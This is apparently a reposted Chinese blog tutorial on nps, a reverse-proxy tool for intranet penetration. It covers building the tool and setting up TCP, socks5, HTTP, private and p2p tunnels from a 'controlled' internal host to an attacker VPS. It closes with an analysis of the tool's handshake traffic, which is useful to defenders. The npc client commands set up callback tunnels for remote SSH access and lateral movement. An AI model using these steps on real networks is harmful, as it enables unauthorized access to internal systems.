0


内网渗透工具-反向代理nps使用分析

0x1 简介

nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持 tcp、udp 流量转发,可在网页上配置和管理各个tcp、udp隧道、内网站点代理,http、https解析等,功能强大,操作方便。

0x2 前期准备

1.安装编译

官方github下载源码进行编译:https://github.com/ehang-io/nps/

安装源码 go get -u ehang.io/nps
编译
服务端go build cmd/nps/nps.go
客户端go build cmd/npc/npc.go

官方github下载已经编译的二进制包:https://github.com/ehang-io/nps/releases

2.可通过docker安装

具体部署方式可在官方仓库拉取镜像:https://hub.docker.com/r/ffdfgdfg/npc

拉取镜像后,可通过修改nps.conf重新配置nps

0x3 实例

场景1--通过SSH访问内网设备

(1)简介

    内网设备有暴露可连接的端口,比如22、3389等端口,外网无法访问。此时,攻击者可利用nps工具对内网设备进行连接。

(2)实验环境

服务端(服务端公网vps):x.x.x.x

被控端(客户端)centos7:10.8.1.1

控制端(攻击机)centos7:192.168.1.2

(3)使用

1)服务器上安装,下图为官方配置文件详解,默认配置后并启动

sudo ./nps install
sudo nps start

浏览器查看控制台服务,8024端口是nps服务端默认的绑定端口,可通过配置文件修改

2)在控制台新建一个客户端,配置密钥:1234567

3)客户端即被控端启动nps,指定vps地址和端口进行连接,控制台将会显示建立连接状态

./npc -server=x.x.x.x:8024 -vkey=1234567

4)新建一个TCP隧道,配置服务端端口:9003,目标:客户端ip:22

5)攻击机请求连接服务端ip和监听的9003端口,连接被控内网主机的ssh服务

ssh -p 9003 root@vpsip

访问控制台可见连接记录

场景2--sock5代理访问内网设备

(1)概述

环境同上,通过socks隧道建立连接。

(2)使用

1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条socks5代理,填写监听的端口(9300)。

2)在外网环境本地进行socks5代理配置。例如,用火狐浏览器配置socks5代理服务,将网络代理配置选中Socks Host,ip配置成vps的IP,端口配置刚才的监听端口9300,即可访问内网服务。

注:windows系统可以配合proxifier进行全局代理。Linux还可以使用proxychains进行socks5配置,推荐linux使用proxychains进行配置,可以更好的联合其他工具进行嗅探收集内网信息和横向移动。

场景3-http正向代理

(1)概述

环境一致,通过socks隧道建立连接。

(2)使用

1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条http代理,填写监听的端口(9301)。也可以在控面板的http代理制处,点击新增一条,客户端ID选择2。

2)同socks5代理,在外网环境的本机配置http代理,ip为公网服务器ip,端口为填写的监听端口(9301),即可完成对内网的访问。

场景4-私密代理

(1)概述

   场景1的tcp隧道暴露了公网vps的监听端口。如果其他人得到了vps的ip,通过端口扫描得到了开放的端口,将会很容易连接上部署的tcp隧道,这是一个很不安全的行为。为了更加安全管理内网设备,nps支持建立私密代理,通过给隧道设置连接密码,增加了隧道的安全性和私密性。

(2)环境

环境同上,此时攻击机也需要配置nps客户端。

(3)使用

1)重启一个nps服务,并在nps控制面板上面新建一个客户端

./npc -server=vpsip:8024 -vkey=12345678

2)在nps控制面板上面新建的客户端中添加一条私密代理。目标配置成想要连接的内网机器IP:端口,此处设置为内网设备的22端口。唯一标识密钥任意设置,与客户端的唯一验证标识区别开。

2)受控内网主机启动nps客户端

3)攻击机启动npc客户端,配置类型为tcp,密码设置成私密代理的唯一标识密钥,除此之外,可加参数-local_port=xx,默认为2000。配置完成后,连接上nps服务的私密代理,ssh -p 2000 root@127.0.0.1即可访问ssh

场景5-p2p

概述

   为了更快传输数据,nps支持p2p模式建立连接。

  使用p2p模式前需要测试内网环境的NAT配置。内网环境一般进行了NAT配置,配置如果是对称型NAT,将极大降低内网隧道建立的可能性。对称型NAT的内网设备,攻击者使用p2p模式建立udp连接的时候,由于端口的随机可变性,将导致连接会中断。

   nps可检测环境是否为对称型NAT,如图所示,内网设备为对称型NAT。由于后续无法使用vps做p2p穿透,便于测试,攻击机用内网设备进行穿透演示。        

    检测命令:./npc nat -stun_addr=stun服务器地址(网上可搜索公共stun服务器使用)

使用

1)服务端启动nps

2)在控制面板新建客户端

3)客户端网机器启动nps

./npc -server=x.x.x.x:8025 -vkey=1234567

3)客户端攻击机启动nps,并ssh登录客户端1。

注1:使用p2p模式时最好初始化重启服务端,有可能端口被大量占用而导致失败;注2:p2p模式没有成功简历连接时,将会转到普通的服务器进行转发的模式。

0x4 流量分析

    针对场景1进行简单分析。Nps从建立连接到传输数据可分为四个阶段。

   第一阶段建立连接。客户端和服务端在建立连接时,三次握手完成后,会进行协商。协商的头部会以"TST"字符串发出请求,并携带客户端的nps版本号与服务端进行确认。协商的目的是确认通信双方使用的nps版本属于同一个nps大版本下。如图所示,"0.26.0"是nps的一个大版本号,在这个大版本下有很多分支,本次测试使用的是0.26.10这个小版本分支。服务端收到协商请求确认后,将会返回服务端的nps大版本号的一个32位hash值,此处测试的nps大版本号为0.26.0。一旦双方检验通过后,返回"sucs"表示隧道协商通过,客户端通过命令"main"发起下一步的任务,至此连接完成。

    第二阶段通信准备。命令从main变成了chan,表示隧道建立后,正在等待数据的传输。建立完成后,为了检验隧道处于存活状态,nps设置了5s的心跳包。如图所示,以json格式传输的内容主要包括几个部分。

"ConnType":"tcp",指定隧道为tcp隧道;

"Host":"10.8.58.239:22",表示建立隧道的客户端主机;

"Crypt":false,表示不进行加密传输

"Compress":false,",不对数据进行压缩

LocalProxy":false,不使用代理

"RemoteAddr":"x.x.x.x:53498",指定分配与被控制端ip和端口进行数据传输

"Option":{"Timeout":5000000000}},延迟5000000000,可修改;

   第三阶段传输数据。在前期准备就绪后,便可以进行具体数据的传输。此处为ssh通信数据。

攻击机通过53498端口与设定的服务端监听的9003端口进行通信,转发数据;服务端的8024与9003端口在本地进行转发建立连接。

~~本文作者:Janitor010,更多更详细更专业安全文章欢迎关注公众号:捕影白帽子

标签: 安全 web安全 网络

本文转载自: https://blog.csdn.net/m0_72121223/article/details/125714741
版权归原作者 花灯的农场 所有, 如有侵权,请联系我们删除。

“内网渗透工具-反向代理nps使用分析”的评论:

还没有评论